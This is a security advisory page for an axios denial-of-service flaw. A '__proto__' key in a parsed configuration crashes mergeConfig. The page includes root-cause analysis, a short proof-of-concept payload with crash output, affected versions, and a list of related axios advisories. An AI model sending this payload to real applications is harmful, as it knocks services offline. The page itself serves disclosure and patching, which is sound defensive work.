Sign in
Deutsch English Español Polski
High

Axios is Vulnerable to Denial of Service via __proto__ Key in mergeConfig

  • Disclosed: 09.02.2026
  • Updated: 11.10.2026 10:22

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

js
utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});

When prop is '__proto__':

  1. JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
  2. Object.keys() includes '__proto__' in the iteration
  3. mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
  4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
  5. Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

  • Axios._request() at lib/core/Axios.js:75
  • Axios.getUri() at lib/core/Axios.js:201
  • All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

js
import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);

Reproduction steps:

  1. Clone axios repository or npm install axios
  2. Create file poc.mjs with the code above
  3. Run: node poc.mjs
  4. Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test Config Result
Normal config {"timeout": 5000} SUCCESS
Malicious config JSON.parse('{"__proto__": {"x": 1}}') CRASH
Nested object {"headers": {"X-Test": "value"}} SUCCESS

Attack scenario: An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

  • Node.js servers using axios for HTTP requests
  • Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package axios >= 1.0.0, < 1.13.5, < 0.30.3 1.13.5, 0.30.3

References

CVSS score 7.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE)
CWE-1321, CWE-754
Platform
npm
Package
axios
Disclosed
09.02.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-43fc-jf86-j433 - CC BY 4.0

Vulnerability history: axios

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (55) in the archive
Total entries
55
First → latest
05.2019 09.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 25
  • Medium 28
  • Low 2

Disclosures per year

Severity:
  1. Axios: Node HTTP adapter prototype-pollution gadget allows request socket hijack via inherited createConnection
    High CVE-2026-101905 >= 1.15.2, < 1.20.0 1.20.0
  2. Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF
    High CVE-2026-101907 >= 1.17.0, < 1.20.0 1.20.0
  3. Axios: ReDoS in fromDataURI data: URL parser freezes the Node event loop (DoS)
    High CVE-2026-101903 >= 1.16.1, < 1.20.0 1.20.0
  4. Axios: ReDoS (O(N²)) in shouldBypassProxy host normalization, reachable via untrusted redirect Location
    High CVE-2026-101906 >= 1.15.0, < 1.20.0 1.20.0
  5. Axios: Prototype Pollution Gadget in axios toFormData Options
    High CVE-2026-101909 >= 0.28.0, < 0.34.0, >= 1.15.1, < 1.20.0 0.34.0, 1.20.0
  6. Axios: HTTP/2 adapter bypasses configured DNS lookup and proxy controls
    High CVE-2026-101898 >= 1.13.0, < 1.20.0 1.20.0
  7. Axios: Denial of Service via Unhandled 'error' Event in HTTP/2 ClientHttp2Session Initialization
    High CVE-2026-101901 >= 1.13.0, < 1.20.0 1.20.0
  8. Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning
    High CVE-2026-67320 >= 0.31.1, < 0.33.0, >= 1.15.2, < 1.18.0 0.33.0, 1.18.0
  9. Axios: Regular Expression Denial of Service (ReDoS) via Cookie Name Injection
    High · 7.5 CVE-2026-44496 >= 1.0.0, < 1.16.0, < 0.32.0 1.16.0, 0.32.0
  10. Allocation of Resources Without Limits or Throttling in Axios
    High · 7.5 CVE-2026-44488 >= 1.7.0, < 1.16.0 1.16.0
  11. Axios: Proxy-Authorization Credential Leak to Origin Server Across HTTP-to-HTTPS Redirect in Axios Node.js HTTP Adapter
    High CVE-2026-44487 >= 1.0.0, < 1.16.0, < 0.32.0 1.16.0, 0.32.0
  12. Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection
    High · 7.5 CVE-2026-44486 >= 1.0.0, < 1.16.0, < 0.32.0 1.16.0, 0.32.0
  13. axios Vulnerable to Credential Theft and Response Hijacking via Prototype Pollution Gadget in Config Merge
    High · 7.0 CVE-2026-44495 >= 1.0.0, < 1.15.2, >= 0.19.0, < 0.31.1 1.15.2, 0.31.1
  14. axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`
    High · 8.7 CVE-2026-44494 >= 1.0.0, < 1.16.0 1.16.0
  15. axios's shouldBypassProxy does not recognize IPv4-mapped IPv6 addresses, allowing NO_PROXY bypass (incomplete fix for CVE-2025-62718)
    High · 8.6 CVE-2026-44492 >= 1.15.0, < 1.16.0, < 0.32.0 1.16.0, 0.32.0
  16. Axios: Prototype Pollution Gadgets - Response Tampering, Data Exfiltration, and Request Hijacking
    High · 7.4 CVE-2026-42033 >= 1.0.0, < 1.15.1, < 0.31.1 1.15.1, 0.31.1
  17. Axios: Header Injection via Prototype Pollution
    High · 7.4 CVE-2026-42035 >= 1.0.0, < 1.15.1, < 0.31.1 1.15.1, 0.31.1
  18. Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0
    High · 7.2 CVE-2026-42043 >= 1.0.0, < 1.15.1, < 0.31.1 1.15.1, 0.31.1
  19. Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking
    High · 7.4 CVE-2026-42264 >= 1.0.0, < 1.15.2 1.15.2
  20. Axios is Vulnerable to Denial of Service via __proto__ Key in mergeConfig this entry
    High · 7.5 CVE-2026-25639 >= 1.0.0, < 1.13.5, < 0.30.3 1.13.5, 0.30.3
Show more (5) Showing 20 of 25

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Privacy policy

Free to subscribe. Unsubscribe with one click in any email.